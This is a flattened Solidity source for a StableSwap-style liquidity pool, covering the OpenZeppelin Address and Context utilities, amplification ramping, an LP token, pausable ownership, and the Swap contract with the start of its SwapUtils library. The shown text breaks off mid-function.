`data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./SwapUtils.sol"; /** * @title AmplificationUtils library * @notice A library to calculate and ramp the A parameter of a given `SwapUtils.Swap` struct. * This library assumes the struct is fully validated. */ library AmplificationUtils { using SafeMath for uint256; event RampA( uint256 oldA, uint256 newA, uint256 initialTime, uint256 futureTime ); event StopRampA(uint256 currentA, uint256 time); // Constant values used in ramping A calculations uint256 public constant A_PRECISION = 100; uint256 public constant MAX_A = 10**6; uint256 private constant MAX_A_CHANGE = 2; uint256 private constant MIN_RAMP_TIME = 14 days; /** * @notice Return A, the amplification coefficient * n * (n - 1) * @dev See the StableSwap paper for details * @param self Swap struct to read from * @return A parameter */ function getA(SwapUtils.Swap storage self) external view returns (uint256) { return _getAPrecise(self).div(A_PRECISION); } /** * @notice Return A in its raw precision * @dev See the StableSwap paper for details * @param self Swap struct to read from * @return A parameter in its raw precision form */ function getAPrecise(SwapUtils.Swap storage self) external view returns (uint256) { return _getAPrecise(self); } /** * @notice Return A in its raw precision * @dev See the StableSwap paper for details * @param self Swap struct to read from * @return A parameter in its raw precision form */ function _getAPrecise(SwapUtils.Swap storage self) internal view returns (uint256) { uint256 t1 = self.futureATime; // time when ramp is finished uint256 a1 = self.futureA; // final A value when ramp is finished if (block.timestamp < t1) { uint256 t0 = self.initialATime; // time when ramp is started uint256 a0 = self.initialA; // initial A value when ramp is started if (a1 > a0) { // a0 + (a1 - a0) * (block.timestamp - t0) / (t1 - t0) return a0.add( a1.sub(a0).mul(block.timestamp.sub(t0)).div(t1.sub(t0)) ); } else { // a0 - (a0 - a1) * (block.timestamp - t0) / (t1 - t0) return a0.sub( a0.sub(a1).mul(block.timestamp.sub(t0)).div(t1.sub(t0)) ); } } else { return a1; } } /** * @notice Start ramping up or down A parameter towards given futureA_ and futureTime_ * Checks if the change is too rapid, and commits the new A value only when it falls under * the limit range. * @param self Swap struct to update * @param futureA_ the new A to ramp towards * @param futureTime_ timestamp when the new A should be reached */ function rampA( SwapUtils.Swap storage self, uint256 futureA_, uint256 futureTime_ ) external { require( block.timestamp >= self.initialATime.add(1 days), "Wait 1 day before starting ramp" ); require( futureTime_ >= block.timestamp.add(MIN_RAMP_TIME), "Insufficient ramp time" ); require( futureA_ > 0 && futureA_ < MAX_A, "futureA_ must be > 0 and < MAX_A" ); uint256 initialAPrecise = _getAPrecise(self); uint256 futureAPrecise = futureA_.mul(A_PRECISION); if (futureAPrecise < initialAPrecise) { require( futureAPrecise.mul(MAX_A_CHANGE) >= initialAPrecise, "futureA_ is too small" ); } else { require( futureAPrecise <= initialAPrecise.mul(MAX_A_CHANGE), "futureA_ is too large" ); } self.initialA = initialAPrecise; self.futureA = futureAPrecise; self.initialATime = block.timestamp; self.futureATime = futureTime_; emit RampA( initialAPrecise, futureAPrecise, block.timestamp, futureTime_ ); } /** * @notice Stops ramping A immediately. Once this function is called, rampA() * cannot be called for another 24 hours * @param self Swap struct to update */ function stopRampA(SwapUtils.Swap storage self) external { require(self.futureATime > block.timestamp, "Ramp is already stopped"); uint256 currentA = _getAPrecise(self); self.initialA = currentA; self.futureA = currentA; self.initialATime = block.timestamp; self.futureATime = block.timestamp; emit StopRampA(currentA, block.timestamp); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20BurnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "./interfaces/ISwap.sol"; /** * @title Liquidity Provider Token * @notice This token is an ERC20 detailed token with added capability to be minted by the owner. * It is used to represent user's shares when providing liquidity to swap contracts. * @dev Only Swap contracts should initialize and own LPToken contracts. */ contract LPToken is ERC20BurnableUpgradeable, OwnableUpgradeable { using SafeMathUpgradeable for uint256; /** * @notice Initializes this LPToken contract with the given name and symbol * @dev The caller of this function will become the owner. A Swap contract should call this * in its initializer function. * @param name name of this token * @param symbol symbol of this token */ function initialize(string memory name, string memory symbol) external initializer returns (bool) { __Context_init_unchained(); __ERC20_init_unchained(name, symbol); __Ownable_init_unchained(); return true; } /** * @notice Mints the given amount of LPToken to the recipient. * @dev only owner can call this mint function * @param recipient address of account to receive the tokens * @param amount amount of tokens to mint */ function mint(address recipient, uint256 amount) external onlyOwner { require(amount != 0, "LPToken: cannot mint 0"); _mint(recipient, amount); } /** * @dev Overrides ERC20._beforeTokenTransfer() which get called on every transfers including * minting and burning. This ensures that Swap.updateUserWithdrawFees are called everytime. * This assumes the owner is set to a Swap contract's address. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override(ERC20Upgradeable) { super._beforeTokenTransfer(from, to, amount); require(to != address(this), "LPToken: cannot send to itself"); ISwap(owner()).updateUserWithdrawFee(to, amount); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; /** * @title MathUtils library * @notice A library to be used in conjunction with SafeMath. Contains functions for calculating * differences between two uint256. */ library MathUtils { /** * @notice Compares a and b and returns true if the difference between a and b * is less than 1 or equal to each other. * @param a uint256 to compare with * @param b uint256 to compare with * @return True if the difference between a and b is less than 1 or equal, * otherwise return false */ function within1(uint256 a, uint256 b) internal pure returns (bool) { return (difference(a, b) <= 1); } /** * @notice Calculates absolute difference between a and b * @param a uint256 to compare with * @param b uint256 to compare with * @return Difference between a and b */ function difference(uint256 a, uint256 b) internal pure returns (uint256) { if (a > b) { return a - b; } return b - a; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol"; /** * @title OwnerPausable * @notice An ownable contract allows the owner to pause and unpause the * contract without a delay. * @dev Only methods using the provided modifiers will be paused. */ abstract contract OwnerPausableUpgradeable is OwnableUpgradeable, PausableUpgradeable { function __OwnerPausable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); __Pausable_init_unchained(); } /** * @notice Pause the contract. Revert if already paused. */ function pause() external onlyOwner { PausableUpgradeable._pause(); } /** * @notice Unpause the contract. Revert if already unpaused. */ function unpause() external onlyOwner { PausableUpgradeable._unpause(); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/proxy/Clones.sol"; import "@openzeppelin/contracts-upgradeable/utils/ReentrancyGuardUpgradeable.sol"; import "./OwnerPausableUpgradeable.sol"; import "./SwapUtils.sol"; import "./AmplificationUtils.sol"; /** * @title Swap - A StableSwap implementation in solidity. * @notice This contract is responsible for custody of closely pegged assets (eg. group of stablecoins) * and automatic market making system. Users become an LP (Liquidity Provider) by depositing their tokens * in desired ratios for an exchange of the pool token that represents their share of the pool. * Users can burn pool tokens and withdraw their share of token(s). * * Each time a swap between the pooled tokens happens, a set fee incurs which effectively gets * distributed to the LPs. * * In case of emergencies, admin can pause additional deposits, swaps, or single-asset withdraws - which * stops the ratio of the tokens in the pool from changing. * Users can always withdraw their tokens via multi-asset withdraws. * * @dev Most of the logic is stored as a library `SwapUtils` for the sake of reducing contract's * deployment size. */ contract Swap is OwnerPausableUpgradeable, ReentrancyGuardUpgradeable { using SafeERC20 for IERC20; using SafeMath for uint256; using SwapUtils for SwapUtils.Swap; using AmplificationUtils for SwapUtils.Swap; // Struct storing data responsible for automatic market maker functionalities. In order to // access this data, this contract uses SwapUtils library. For more details, see SwapUtils.sol SwapUtils.Swap public swapStorage; // Maps token address to an index in the pool. Used to prevent duplicate tokens in the pool. // getTokenIndex function also relies on this mapping to retrieve token index. mapping(address => uint8) private tokenIndexes; /*** EVENTS ***/ // events replicated from SwapUtils to make the ABI easier for dumb // clients event TokenSwap( address indexed buyer, uint256 tokensSold, uint256 tokensBought, uint128 soldId, uint128 boughtId ); event AddLiquidity( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event RemoveLiquidity( address indexed provider, uint256[] tokenAmounts, uint256 lpTokenSupply ); event RemoveLiquidityOne( address indexed provider, uint256 lpTokenAmount, uint256 lpTokenSupply, uint256 boughtId, uint256 tokensBought ); event RemoveLiquidityImbalance( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event NewAdminFee(uint256 newAdminFee); event NewSwapFee(uint256 newSwapFee); event NewWithdrawFee(uint256 newWithdrawFee); event RampA( uint256 oldA, uint256 newA, uint256 initialTime, uint256 futureTime ); event StopRampA(uint256 currentA, uint256 time); /** * @notice Initializes this Swap contract with the given parameters. * This will also clone a LPToken contract that represents users' * LP positions. The owner of LPToken will be this contract - which means * only this contract is allowed to mint/burn tokens. * * @param _pooledTokens an array of ERC20s this pool will accept * @param decimals the decimals to use for each pooled token, * eg 8 for WBTC. Cannot be larger than POOL_PRECISION_DECIMALS * @param lpTokenName the long-form name of the token to be deployed * @param lpTokenSymbol the short symbol for the token to be deployed * @param _a the amplification coefficient * n * (n - 1). See the * StableSwap paper for details * @param _fee default swap fee to be initialized with * @param _adminFee default adminFee to be initialized with * @param _withdrawFee default withdrawFee to be initialized with * @param lpTokenTargetAddress the address of an existing LPToken contract to use as a target */ function initialize( IERC20[] memory _pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 _a, uint256 _fee, uint256 _adminFee, uint256 _withdrawFee, address lpTokenTargetAddress ) public virtual initializer { __OwnerPausable_init(); __ReentrancyGuard_init(); // Check _pooledTokens and precisions parameter require(_pooledTokens.length > 1, "_pooledTokens.length <= 1"); require(_pooledTokens.length <= 32, "_pooledTokens.length > 32"); require( _pooledTokens.length == decimals.length, "_pooledTokens decimals mismatch" ); uint256[] memory precisionMultipliers = new uint256[](decimals.length); for (uint8 i = 0; i < _pooledTokens.length; i++) { if (i > 0) { // Check if index is already used. Check if 0th element is a duplicate. require( tokenIndexes[address(_pooledTokens[i])] == 0 && _pooledTokens[0] != _pooledTokens[i], "Duplicate tokens" ); } require( address(_pooledTokens[i]) != address(0), "The 0 address isn't an ERC-20" ); require( decimals[i] <= SwapUtils.POOL_PRECISION_DECIMALS, "Token decimals exceeds max" ); precisionMultipliers[i] = 10 ** uint256(SwapUtils.POOL_PRECISION_DECIMALS).sub( uint256(decimals[i]) ); tokenIndexes[address(_pooledTokens[i])] = i; } // Check _a, _fee, _adminFee, _withdrawFee parameters require(_a < AmplificationUtils.MAX_A, "_a exceeds maximum"); require(_fee < SwapUtils.MAX_SWAP_FEE, "_fee exceeds maximum"); require( _adminFee < SwapUtils.MAX_ADMIN_FEE, "_adminFee exceeds maximum" ); require( _withdrawFee < SwapUtils.MAX_WITHDRAW_FEE, "_withdrawFee exceeds maximum" ); // Clone and initialize a LPToken contract LPToken lpToken = LPToken(Clones.clone(lpTokenTargetAddress)); require( lpToken.initialize(lpTokenName, lpTokenSymbol), "could not init lpToken clone" ); // Initialize swapStorage struct swapStorage.lpToken = lpToken; swapStorage.pooledTokens = _pooledTokens; swapStorage.tokenPrecisionMultipliers = precisionMultipliers; swapStorage.balances = new uint256[](_pooledTokens.length); swapStorage.initialA = _a.mul(AmplificationUtils.A_PRECISION); swapStorage.futureA = _a.mul(AmplificationUtils.A_PRECISION); // swapStorage.initialATime = 0; // swapStorage.futureATime = 0; swapStorage.swapFee = _fee; swapStorage.adminFee = _adminFee; swapStorage.defaultWithdrawFee = _withdrawFee; } /*** MODIFIERS ***/ /** * @notice Modifier to check deadline against current timestamp * @param deadline latest timestamp to accept this transaction */ modifier deadlineCheck(uint256 deadline) { require(block.timestamp <= deadline, "Deadline not met"); _; } /*** VIEW FUNCTIONS ***/ /** * @notice Return A, the amplification coefficient * n * (n - 1) * @dev See the StableSwap paper for details * @return A parameter */ function getA() external view virtual returns (uint256) { return swapStorage.getA(); } /** * @notice Return A in its raw precision form * @dev See the StableSwap paper for details * @return A parameter in its raw precision form */ function getAPrecise() external view virtual returns (uint256) { return swapStorage.getAPrecise(); } /** * @notice Return address of the pooled token at given index. Reverts if tokenIndex is out of range. * @param index the index of the token * @return address of the token at given index */ function getToken(uint8 index) public view virtual returns (IERC20) { require(index < swapStorage.pooledTokens.length, "Out of range"); return swapStorage.pooledTokens[index]; } /** * @notice Return the index of the given token address. Reverts if no matching * token is found. * @param tokenAddress address of the token * @return the index of the given token address */ function getTokenIndex(address tokenAddress) public view virtual returns (uint8) { uint8 index = tokenIndexes[tokenAddress]; require( address(getToken(index)) == tokenAddress, "Token does not exist" ); return index; } /** * @notice Return timestamp of last deposit of given address * @return timestamp of the last deposit made by the given address */ function getDepositTimestamp(address user) external view virtual returns (uint256) { return swapStorage.getDepositTimestamp(user); } /** * @notice Return current balance of the pooled token at given index * @param index the index of the token * @return current balance of the pooled token at given index with token's native precision */ function getTokenBalance(uint8 index) external view virtual returns (uint256) { require(index < swapStorage.pooledTokens.length, "Index out of range"); return swapStorage.balances[index]; } /** * @notice Get the virtual price, to help calculate profit * @return the virtual price, scaled to the POOL_PRECISION_DECIMALS */ function getVirtualPrice() external view virtual returns (uint256) { return swapStorage.getVirtualPrice(); } /** * @notice Calculate amount of tokens you receive on swap * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell. If the token charges * a fee on transfers, use the amount that gets transferred after the fee. * @return amount of tokens the user will receive */ function calculateSwap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view virtual returns (uint256) { return swapStorage.calculateSwap(tokenIndexFrom, tokenIndexTo, dx); } /** * @notice A simple method to calculate prices from deposits or * withdrawals, excluding fees but including slippage. This is * helpful as an input into the various "min" parameters on calls * to fight front-running * * @dev This shouldn't be used outside frontends for user estimates. * * @param account address that is depositing or withdrawing tokens * @param amounts an array of token amounts to deposit or withdrawal, * corresponding to pooledTokens. The amount should be in each * pooled token's native precision. If a token charges a fee on transfers, * use the amount that gets transferred after the fee. * @param deposit whether this is a deposit or a withdrawal * @return token amount the user will receive */ function calculateTokenAmount( address account, uint256[] calldata amounts, bool deposit ) external view virtual returns (uint256) { return swapStorage.calculateTokenAmount(account, amounts, deposit); } /** * @notice A simple method to calculate amount of each underlying * tokens that is returned upon burning given amount of LP tokens * @param account the address that is withdrawing tokens * @param amount the amount of LP tokens that would be burned on withdrawal * @return array of token balances that the user will receive */ function calculateRemoveLiquidity(address account, uint256 amount) external view virtual returns (uint256[] memory) { return swapStorage.calculateRemoveLiquidity(account, amount); } /** * @notice Calculate the amount of underlying token available to withdraw * when withdrawing via only single token * @param account the address that is withdrawing tokens * @param tokenAmount the amount of LP token to burn * @param tokenIndex index of which token will be withdrawn * @return availableTokenAmount calculated amount of underlying token * available to withdraw */ function calculateRemoveLiquidityOneToken( address account, uint256 tokenAmount, uint8 tokenIndex ) external view virtual returns (uint256 availableTokenAmount) { return swapStorage.calculateWithdrawOneToken( account, tokenAmount, tokenIndex ); } /** * @notice Calculate the fee that is applied when the given user withdraws. The withdraw fee * decays linearly over period of 4 weeks. For example, depositing and withdrawing right away * will charge you the full amount of withdraw fee. But withdrawing after 4 weeks will charge you * no additional fees. * @dev returned value should be divided by FEE_DENOMINATOR to convert to correct decimals * @param user address you want to calculate withdraw fee of * @return current withdraw fee of the user */ function calculateCurrentWithdrawFee(address user) external view virtual returns (uint256) { return swapStorage.calculateCurrentWithdrawFee(user); } /** * @notice This function reads the accumulated amount of admin fees of the token with given index * @param index Index of the pooled token * @return admin's token balance in the token's precision */ function getAdminBalance(uint256 index) external view virtual returns (uint256) { return swapStorage.getAdminBalance(index); } /*** STATE MODIFYING FUNCTIONS ***/ /** * @notice Swap two tokens using this pool * @param tokenIndexFrom the token the user wants to swap from * @param tokenIndexTo the token the user wants to swap to * @param dx the amount of tokens the user wants to swap from * @param minDy the min amount the user would like to receive, or revert. * @param deadline latest timestamp to accept this transaction */ function swap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline ) external virtual nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return swapStorage.swap(tokenIndexFrom, tokenIndexTo, dx, minDy); } /** * @notice Add liquidity to the pool with the given amounts of tokens * @param amounts the amounts of each token to add, in their native precision * @param minToMint the minimum LP tokens adding this amount of liquidity * should mint, otherwise revert. Handy for front-running mitigation * @param deadline latest timestamp to accept this transaction * @return amount of LP token user minted and received */ function addLiquidity( uint256[] calldata amounts, uint256 minToMint, uint256 deadline ) external virtual nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return swapStorage.addLiquidity(amounts, minToMint); } /** * @notice Burn LP tokens to remove liquidity from the pool. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @dev Liquidity can always be removed, even when the pool is paused. * @param amount the amount of LP tokens to burn * @param minAmounts the minimum amounts of each token in the pool * acceptable for this burn. Useful as a front-running mitigation * @param deadline latest timestamp to accept this transaction * @return amounts of tokens user received */ function removeLiquidity( uint256 amount, uint256[] calldata minAmounts, uint256 deadline ) external virtual nonReentrant deadlineCheck(deadline) returns (uint256[] memory) { return swapStorage.removeLiquidity(amount, minAmounts); } /** * @notice Remove liquidity from the pool all in one token. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @param tokenAmount the amount of the token you want to receive * @param tokenIndex the index of the token you want to receive * @param minAmount the minimum amount to withdraw, otherwise revert * @param deadline latest timestamp to accept this transaction * @return amount of chosen token user received */ function removeLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount, uint256 deadline ) external virtual nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return swapStorage.removeLiquidityOneToken( tokenAmount, tokenIndex, minAmount ); } /** * @notice Remove liquidity from the pool, weighted differently than the * pool's current balances. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @param amounts how much of each token to withdraw * @param maxBurnAmount the max LP token provider is willing to pay to * remove liquidity. Useful as a front-running mitigation. * @param deadline latest timestamp to accept this transaction * @return amount of LP tokens burned */ function removeLiquidityImbalance( uint256[] calldata amounts, uint256 maxBurnAmount, uint256 deadline ) external virtual nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return swapStorage.removeLiquidityImbalance(amounts, maxBurnAmount); } /*** ADMIN FUNCTIONS ***/ /** * @notice Updates the user withdraw fee. This function can only be called by * the pool token. Should be used to update the withdraw fee on transfer of pool tokens. * Transferring your pool token will reset the 4 weeks period. If the recipient is already * holding some pool tokens, the withdraw fee will be discounted in respective amounts. * @param recipient address of the recipient of pool token * @param transferAmount amount of pool token to transfer */ function updateUserWithdrawFee(address recipient, uint256 transferAmount) external { require( msg.sender == address(swapStorage.lpToken), "Only callable by pool token" ); swapStorage.updateUserWithdrawFee(recipient, transferAmount); } /** * @notice Withdraw all admin fees to the contract owner */ function withdrawAdminFees() external onlyOwner { swapStorage.withdrawAdminFees(owner()); } /** * @notice Update the admin fee. Admin fee takes portion of the swap fee. * @param newAdminFee new admin fee to be applied on future transactions */ function setAdminFee(uint256 newAdminFee) external onlyOwner { swapStorage.setAdminFee(newAdminFee); } /** * @notice Update the swap fee to be applied on swaps * @param newSwapFee new swap fee to be applied on future transactions */ function setSwapFee(uint256 newSwapFee) external onlyOwner { swapStorage.setSwapFee(newSwapFee); } /** * @notice Update the withdraw fee. This fee decays linearly over 4 weeks since * user's last deposit. * @param newWithdrawFee new withdraw fee to be applied on future deposits */ function setDefaultWithdrawFee(uint256 newWithdrawFee) external onlyOwner { swapStorage.setDefaultWithdrawFee(newWithdrawFee); } /** * @notice Start ramping up or down A parameter towards given futureA and futureTime * Checks if the change is too rapid, and commits the new A value only when it falls under * the limit range. * @param futureA the new A to ramp towards * @param futureTime timestamp when the new A should be reached */ function rampA(uint256 futureA, uint256 futureTime) external onlyOwner { swapStorage.rampA(futureA, futureTime); } /** * @notice Stop ramping A immediately. Reverts if ramp A is already stopped. */ function stopRampA() external onlyOwner { swapStorage.stopRampA(); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./AmplificationUtils.sol"; import "./LPToken.sol"; import "./MathUtils.sol"; /** * @title SwapUtils library * @notice A library to be used within Swap.sol. Contains functions responsible for custody and AMM functionalities. * @dev Contracts relying on this library must initialize SwapUtils.Swap struct then use this library * for SwapUtils.Swap struct. Note that this library contains both functions called by users and admins. * Admin functions should be protected within contracts using this library. */ library SwapUtils { using SafeERC20 for IERC20; using SafeMath for uint256; using MathUtils for uint256; /*** EVENTS ***/ event TokenSwap( address indexed buyer, uint256 tokensSold, uint256 tokensBought, uint128 soldId, uint128 boughtId ); event AddLiquidity( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event RemoveLiquidity( address indexed provider, uint256[] tokenAmounts, uint256 lpTokenSupply ); event RemoveLiquidityOne( address indexed provider, uint256 lpTokenAmount, uint256 lpTokenSupply, uint256 boughtId, uint256 tokensBought ); event RemoveLiquidityImbalance( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event NewAdminFee(uint256 newAdminFee); event NewSwapFee(uint256 newSwapFee); event NewWithdrawFee(uint256 newWithdrawFee); struct Swap { // variables around the ramp management of A, // the amplification coefficient * n * (n - 1) // see https://www.curve.fi/stableswap-paper.pdf for details uint256 initialA; uint256 futureA; uint256 initialATime; uint256 futureATime; // fee calculation uint256 swapFee; uint256 adminFee; uint256 defaultWithdrawFee; LPToken lpToken; // contract references for all tokens being pooled IERC20[] pooledTokens; // multipliers for each pooled token's precision to get to POOL_PRECISION_DECIMALS // for example, TBTC has 18 decimals, so the multiplier should be 1. WBTC // has 8, so the multiplier should be 10 ** 18 / 10 ** 8 => 10 ** 10 uint256[] tokenPrecisionMultipliers; // the pool balance of each token, in the token's precision // the contract's actual token balance might differ uint256[] balances; mapping(address => uint256) depositTimestamp; mapping(address => uint256) withdrawFeeMultiplier; } // Struct storing variables used in calculations in the // calculateWithdrawOneTokenDY function to avoid stack too deep errors struct CalculateWithdrawOneTokenDYInfo { uint256 d0; uint256 d1; uint256 newY; uint256 feePerToken; uint256 preciseA; } // Struct storing variables used in calculations in the // {add,remove}Liquidity functions to avoid stack too deep errors struct ManageLiquidityInfo { uint256 d0; uint256 d1; uint256 d2; uint256 preciseA; LPToken lpToken; uint256 totalSupply; uint256[] balances; uint256[] multipliers; } // the precision all pools tokens will be converted to uint8 public constant POOL_PRECISION_DECIMALS = 18; // the denominator used to calculate admin and LP fees. For example, an // LP fee might be something like tradeAmount.mul(fee).div(FEE_DENOMINATOR) uint256 private constant FEE_DENOMINATOR = 10**10; // Max swap fee is 1% or 100bps of each swap uint256 public constant MAX_SWAP_FEE = 10**8; // Max adminFee is 100% of the swapFee // adminFee does not add additional fee on top of swapFee // Instead it takes a certain % of the swapFee. Therefore it has no impact on the // users but only on the earnings of LPs uint256 public constant MAX_ADMIN_FEE = 10**10; // Max withdrawFee is 1% of the value withdrawn // Fee will be redistributed to the LPs in the pool, rewarding // long term providers. uint256 public constant MAX_WITHDRAW_FEE = 10**8; // Constant value used as max loop limit uint256 private constant MAX_LOOP_LIMIT = 256; // Time that it should take for the withdraw fee to fully decay to 0 uint256 public constant WITHDRAW_FEE_DECAY_TIME = 4 weeks; /*** VIEW & PURE FUNCTIONS ***/ /** * @notice Retrieves the timestamp of last deposit made by the given address * @param self Swap struct to read from * @return timestamp of last deposit */ function getDepositTimestamp(Swap storage self, address user) external view returns (uint256) { return self.depositTimestamp[user]; } function _getAPrecise(Swap storage self) internal view returns (uint256) { return AmplificationUtils._getAPrecise(self); } /** * @notice Calculate the dy, the amount of selected token that user receives and * the fee of withdrawing in one token * @param account the address that is withdrawing * @param tokenAmount the amount to withdraw in the pool's precision * @param tokenIndex which token will be withdrawn * @param self Swap struct to read from * @return the amount of token user will receive */ function calculateWithdrawOneToken( Swap storage self, address account, uint256 tokenAmount, uint8 tokenIndex ) external view returns (uint256) { (uint256 availableTokenAmount, ) = _calculateWithdrawOneToken( self, account, tokenAmount, tokenIndex, self.lpToken.totalSupply() ); return availableTokenAmount; } function _calculateWithdrawOneToken( Swap storage self, address account, uint256 tokenAmount, uint8 tokenIndex, uint256 totalSupply ) internal view returns (uint256, uint256) { uint256 dy; uint256 newY; uint256 currentY; (dy, newY, currentY) = calculateWithdrawOneTokenDY( self, tokenIndex, tokenAmount, totalSupply ); // dy_0 (without fees) // dy, dy_0 - dy uint256 dySwapFee = currentY .sub(newY) .div(self.tokenPrecisionMultipliers[tokenIndex]) .sub(dy); dy = dy .mul( FEE_DENOMINATOR.sub(_calculateCurrentWithdrawFee(self, account)) ) .div(FEE_DENOMINATOR); return (dy, dySwapFee); } /** * @notice Calculate the dy of withdrawing in one token * @param self Swap struct to read from * @param tokenIndex which token will be withdrawn * @param tokenAmount the amount to withdraw in the pools precision * @return the d and the new y after withdrawing one token */ function calculateWithdrawOneTokenDY( Swap storage self, uint8 tokenIndex, uint256 tokenAmount, uint256 totalSupply ) internal view returns ( uint256, uint256, uint256 ) { // Get the current D, then solve the stableswap invariant // y_i for D - tokenAmount uint256[] memory xp = _xp(self); require(tokenIndex < xp.length, "Token index out of range"); CalculateWithdrawOneTokenDYInfo memory v = CalculateWithdrawOneTokenDYInfo(0, 0, 0, 0, 0); v.preciseA = _getAPrecise(self); v.d0 = getD(xp, v.preciseA); v.d1 = v.d0.sub(tokenAmount.mul(v.d0).div(totalSupply)); require(tokenAmount <= xp[tokenIndex], "Withdraw exceeds available"); v.newY = getYD(v.preciseA, tokenIndex, xp, v.d1); uint256[] memory xpReduced = new uint256[](xp.length); v.feePerToken = _feePerToken(self.swapFee, xp.length); for (uint256 i = 0; i < xp.length; i++) { uint256 xpi = xp[i]; // if i == tokenIndex, dxExpected = xp[i] * d1 / d0 - newY // else dxExpected = xp[i] - (xp[i] * d1 / d0) // xpReduced[i] -= dxExpected * fee / FEE_DENOMINATOR xpReduced[i] = xpi.sub( ( (i == tokenIndex) ? xpi.mul(v.d1).div(v.d0).sub(v.newY) : xpi.sub(xpi.mul(v.d1).div(v.d0)) ) 